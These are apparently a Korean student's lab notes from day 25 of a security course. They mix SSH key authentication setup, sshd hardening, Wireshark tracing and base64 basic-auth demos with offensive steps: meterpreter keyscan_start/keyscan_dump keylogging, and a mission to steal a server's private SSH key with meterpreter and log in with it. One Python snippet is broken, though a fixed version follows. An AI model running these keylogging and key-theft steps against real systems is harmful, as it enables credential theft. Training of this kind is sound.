Basic Card

25일차

msfconsole -r /home/kali/malware.rc 침투 흔적 메일로 받은 흔적도 추적 > 또는 웹으로 흔적을 만들고 추적 웹사이트 < 관리자 언제 침투가 되었는지 해커에게 노출된 암호는 안전한 것인가 > 키로거 작동 > ? > 화면 스크린 샷 > ? 주기적으로 변경하는게 안전한 것인가 안전하지 않다면 어떠한 조치를 취해야 하는가 칼리 에서 로그인 보기 keyscan_start Starting the keystroke sniffer ... meterpreter > keyscan_dump 스캔 스타트하고 아이디 비번치고 dump하면 방금 쳤던 키들을 스캔할수 있다 패스워드 인증 방식 > 키인증방식을 사용한다면 안전한가 cat /etc/ssh/sshd_conf PasswordAuthentication no KbdlnteractiveAuthentication no [공개키][key][개인키][key] 서버 설정 ssh-keygen ll ~/.ssh cat ~/.ssh/id_ed >> ~/. cat id_ed25519.pub >> authorized_keys [왼쪽의 개인키 ---->][오른쪽의 짝궁] 개인키, 공개키 scp master@192.168.0.208:/home/master/.ssh/id_ed25519 ~/.ssh ssh master@192.168.0.208 Enter passpharase for key '/id_25519ed' : 123456 key: 암호화 ? ? ? window 에서 puttygen 실행 위에 conversions 누른후 서버에서 생성한 id_ed25519를 선택 Save private key 누르고 위치와 이름 선택 하면 키가 생성됨 그후 putty로 가서 connection -> data -> Auto-login username -> master입력 SSH -> Auth -> Credentials -> private key file for authentication -> 파일 선택 Session으로 돌아가서 IP입력하고 접속 미션 바탕화면에 저장된 서버의 개인키를 유출 로그와 패킷을 통해 유출된 흔적을 찾기 유출한 키로 서버에 접속 가능한지 확인 msfconsole에서 download id_ed25519받고 나와서 ssh master@192.168.56.102 -i id_ed25519 인증이란? 웹 기본 인증: 매우 취약 패킷 잡아 인코딩 확인 import base64 import json data = {"username":"master","password","123456"} json_data = base64.b64encode(json_data.encode('utf-8')) print("Encode JSON:",dncoded_json.decode('utf-8') 파이썬 코드 import base64 import json data = {"username":"master","password":"123456"} json_data = json.dumps(data) encoded_json = base64.b64encode(json_data.encode('utf-8')) print("Encode JSON:",encoded_json.decode('utf-8')) decoded_json = base64.b64decode(encoded_json).decode('utf-8') decoded_data = json.loads(decoded_json) print("Decoded JSON:",decoded_data) wireshark에서 확인방법 wireshark실행한상태에서 로그인 statistics > conversation > TCP에서 > follow stream 확인 PAM(Pluggable Authentication Modules) 인증을 유연하게 관리 할 수 있도록 설계된 모듈화된 인증 프레임 워크 방식 적용 패스워드 > 키 인증 방식 > 웹 기반 인증 > 취약함 (옛날 공유기나 카메라에 사용) PAM 모듈 인증 LDAP 인증 커버로스 인증 ( sshd 설정 변경 가능함)